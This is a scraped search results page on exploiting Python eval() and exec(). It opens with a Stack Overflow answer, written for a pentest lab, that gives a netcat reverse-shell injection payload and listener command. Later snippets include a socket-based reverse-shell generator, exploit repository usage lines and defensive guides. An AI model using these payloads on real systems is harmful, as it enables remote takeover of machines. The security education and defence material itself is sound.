Maybe try like this

"__import__('os').system('nc your_ip port -e /bin/sh')"

like;

First listen port fresh terminal

nc -lvp 1234

after try another terminal:

"__import__('os').system('nc 10.10.10.10 1234 -e /bin/sh')"

"__import__('os').system('YOUR REVERSE SHELL METHOD')"

here's many reverse shell payload : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

good luck

Answer from Noi on Stack Overflow
🌐
Blogger
sethsec.blogspot.com › 2016 › 11 › exploiting-python-code-injection-in-web.html
Exploiting Python Code Injection in Web Applications
November 20, 2016 - A developer can also introduce this vulnerability by unpickling serialized data passed by the user. Python's exec() is another way you can make your app vulnerable, but as far as I can tell, a developer would have to try even harder to find ...
🌐
Medium
medium.com › swlh › hacking-python-applications-5d4cd541b3f1
Hacking Python Applications. And how attackers exploit common… | by Vickie Li | The Startup | Medium
November 15, 2019 - Today, let’s talk about a few dangerous features that could be exploited by attackers in Python. Dangerous functions in Python like eval(), exec() and input() can be used to achieve authentication bypass and even code injection.
Discussions

Python - running reverse shell inside eval() - Stack Overflow
I am working on a pentest lab. There is a Python eval() function I need to exploit. ... I need to execute a Python reverse shell script as payload. More on stackoverflow.com
🌐 stackoverflow.com
security - Exploitable Python Functions - Stack Overflow
This question is similar to Exploitable PHP Functions. Tainted data comes from the user, or more specifically an attacker. When a tainted variable reaches a sink function, then you have a vulnerability. For instance a function that executes a sql query is a sink, and GET/POST variables are sources of taint. What are all of the sink functions in Python... More on stackoverflow.com
🌐 stackoverflow.com
Exploit exec()

Two things that come to mind. First you could just try to return a string of html. Or write to index.html? Or maybe ../index.html I dont know, honestly im not sure what you mean but i hope that helps

More on reddit.com
🌐 r/Python
3
1
March 29, 2020
[Security Vulnerability] CWE - 94 Code Injection in python_executor Class Due to Unvalidated exec() Usage
When an attacker provides malicious ... will execute this code. This can lead to a wide range of security issues, such as unauthorized access to system resources, data leakage, or even complete system compromise. For example, an attacker could use the injected code to read sensitive files, modify system settings, or launch further attacks on the underlying infrastructure. An attacker can exploit this vulnerability by providing malicious Python code as input ... More on github.com
🌐 github.com
0
April 21, 2025
🌐
GitHub
github.com › infodox › exploits › blob › master › payloads › linux › python.py
exploits/payloads/linux/python.py at master · infodox/exploits
"""This function generates a python reverse shell to use while exploiting command injection vulnerabilities""" shellcode = """import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('%s',%s)); ...
Author   infodox
🌐
StackHawk
stackhawk.com › stackhawk, inc. › vulnerabilities and remediation › preventing command injection in python: a guide to security
Preventing Command Injection in Python: A Guide to Security
January 13, 2025 - We also call this remote code execution. Like other injection attacks, unsanitized user input makes command injection possible. And this is irrespective of the programming language used. We say this because even code written in Python, which has a reputation as a secure programming language, can fall prey to injection attacks.
🌐
Python
bugs.python.org › issue32757
Issue 32757: Python 2.7 : Buffer Overflow vulnerability in exec() function - Python tracker
February 3, 2018 - This issue tracker has been migrated to GitHub, and is currently read-only. For more information, see the GitHub FAQs in the Python's Developer Guide · This issue has been migrated to GitHub: https://github.com/python/cpython/issues/76938
🌐
Wisc
research.cs.wisc.edu › mist › SoftwareSecurityCourse › Chapters › 3_8_3-Code-Injections.pdf pdf
Introduction to Software Security Chapter 3.8.3: Code Injections
The first two forms interpret the string argument of the function as a statement (exec) for execution, or · an expression (eval) returning the resultant value. Either of these is a potential code injection attack if · the attacker can influence the string argument value. © 2018 Loren Kohnfelder, Elisa Heymann, Barton P. Miller. All rights reserved. ... statements, or reading one line from standard input (input) and evaluating that as an expression and · returning the result. Note that Python 3000 broke compatibility and changed the semantics of input and
🌐
Blogger
vipulchaskar.blogspot.com › 2012 › 10 › exploiting-eval-function-in-python.html
Vipul Chaskar's Blog: Exploiting eval() function in Python
October 23, 2012 - The program you're trying to exploit must have these modules imported in advance. Try running the command ... Well, there is a way around this... There's a global __import__() function in python. It accepts a module name and imports it. ... will import the os module and will return a reference to this module. Through this, we can execute functions in the OS module with malicious parameters.
Find elsewhere
🌐
Floyd
floyd.ch
Exploiting Python’s Eval | floyd's
I soon found out that the example would be very easy to exploit. For example the exit function is interpreted by eval and the program quits: me$ python3.3 peopleinteract_update.py Key? => tom [name]=56 new?=>exit() me$ So I read an article about the problem. I found this little code example, which can be used to execute ...
🌐
Code Pathfinder
codepathfinder.dev › registry › python › python core › dangerous exec() usage detected
Dangerous exec() Usage Detected - Python SAST Security Rule | Code Pathfinder | Code Pathfinder
April 13, 2026 - Python's introspection features such as __subclasses__(), object.__mro__, and __builtins__ provide multiple escape paths from any namespace restriction. Treat exec() on untrusted input as unconditionally exploitable.
🌐
Finxter
blog.finxter.com › home › learn python blog › python exec() — a hacker’s guide to a dangerous function
Python exec() - A Hacker's Guide to A Dangerous Function - Be on the Right Side of Change
June 7, 2022 - The return value of exec() is None. However, it may have run all kinds of functions with all kinds of side effects such as changing the folder structure on your operating system, creating new files, deploying a Trojan horse, or hijacking your Bitcoins. Check out my new Python book Python One-Liners (Amazon Link).
🌐
GitHub
github.com › mfontanini › Programs-Scripts › blob › master › JomSocial-Exploit › exploit.py
Programs-Scripts/JomSocial-Exploit/exploit.py at master · mfontanini/Programs-Scripts
# Exploit execution example: # $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");' # [i] Retrieving cookies and anti-CSRF token... Done · # [+] Executing PHP code... # string(12) "Hello World!" · import urllib, urllib2, re, argparse, sys, os, cookielib ·
Author   mfontanini
🌐
Reddit
reddit.com › r › Python › comments › fqw1b4 › exploit_exec
r/Python - Exploit exec()
March 29, 2020 -

So im working on a pen testing machine, and the source code of the web server is written on Python3. I managed to get the code, and i found that it use the exec comand like this:

path = "/"
aux = "output: 'Document: {}' "
exec(aux.format(path))

Where the path variable comes from parsing the http request, so using Burp i can hold the request and change it so i can inyect code on the document path field. Im not sure how to exploit that, i already try some print() and stuff, but i dont know where i can read the output. Is there a way to print on browsers console from a python server script, wich use no framework o library ?

🌐
Cyber Security News
cybersecuritynews.com › home › cyber security news › hackers can exploit (eval) or (exec) python calls to execute malicious code
Hackers Can Exploit (eval) or (exec) Python Calls to Execute Malicious Code
August 25, 2025 - A sophisticated obfuscation technique that threat actors are using to bypass detection systems and exploit Python’s eval() and exec() functions for malicious code execution.
🌐
Caleb Shortt
calebshortt.com › 2022 › 08 › 18 › getting-arbitrary-code-execution-in-a-python-script
Getting Arbitrary Code Execution In a Python Script | Caleb Shortt
November 7, 2022 - The trick of this attack would be to somehow get the sysadmin to use the URL — or poison a list of URLs with the malicious one. But If one were to achieve that, it would likely result in a privileged arbitrary code execution (remote). An interesting find. I contacted Python at security@python.org with a full write-up, POC, and screenshots.
🌐
GitHub
github.com › GAIR-NLP › factool › issues › 50
[Security Vulnerability] CWE - 94 Code Injection in python_executor Class Due to Unvalidated exec() Usage · Issue #50 · GAIR-NLP/factool
April 21, 2025 - The provided Python code contains a significant security vulnerability of type CWE - 94: Code Injection. The vulnerability exists because the code uses the exec() function to execute user - provided input without any form of validation.
Author   GAIR-NLP
🌐
GitHub
github.com › WangYihang › Codiad-Remote-Code-Execute-Exploit
GitHub - WangYihang/Codiad-Remote-Code-Execute-Exploit: A simple exploit to execute system command on codiad · GitHub
A simple exploit to execute system command on Codiad This tool will exploit the vuln Codiad application to get a reverse shell · CVE-2017-11366 · CVE-2017-15689 · CVE-2018-14009 (0 Day exploitation) <=2.8.4 (latest version) Windows Linux · Usage : python exploit.py [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM] python exploit.py [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM] Example : python exploit.py http://localhost/ admin admin 8.8.8.8 8888 linux python exploit.py http://localhost:8080/ admin admin 8.8.8.8 8888 windows Author : WangYihang <wangyihanger@gmail.com> 【CVE-2018-14009】 Codiad (2.8.4) RCE on Windows machine ·
Starred by 65 users
Forked by 32 users
Languages   Python
🌐
Semgrep
semgrep.dev › secure coding › python › prevent command injection for python
Prevent Command Injection for Python - Semgrep
4 days ago - Do not let a user input into exec methods. Alternatively: Always try to use internal an Python API (if it exists) instead of running an OS command.
🌐
SecureFlag
knowledge-base.secureflag.com › vulnerabilities › code_injection › os_command_injection_python.html
OS Command Injection in Python | SecureFlag Security Knowledge Base
August 5, 2025 - Since the hostname is simply appended to the command and executed on a subshell with shell=True, an attacker could stack another command using ; in the file_path GET parameter to inject additional commands. The screenshot shows an attack injecting the cat command to disclose /etc/passwd. Python has ...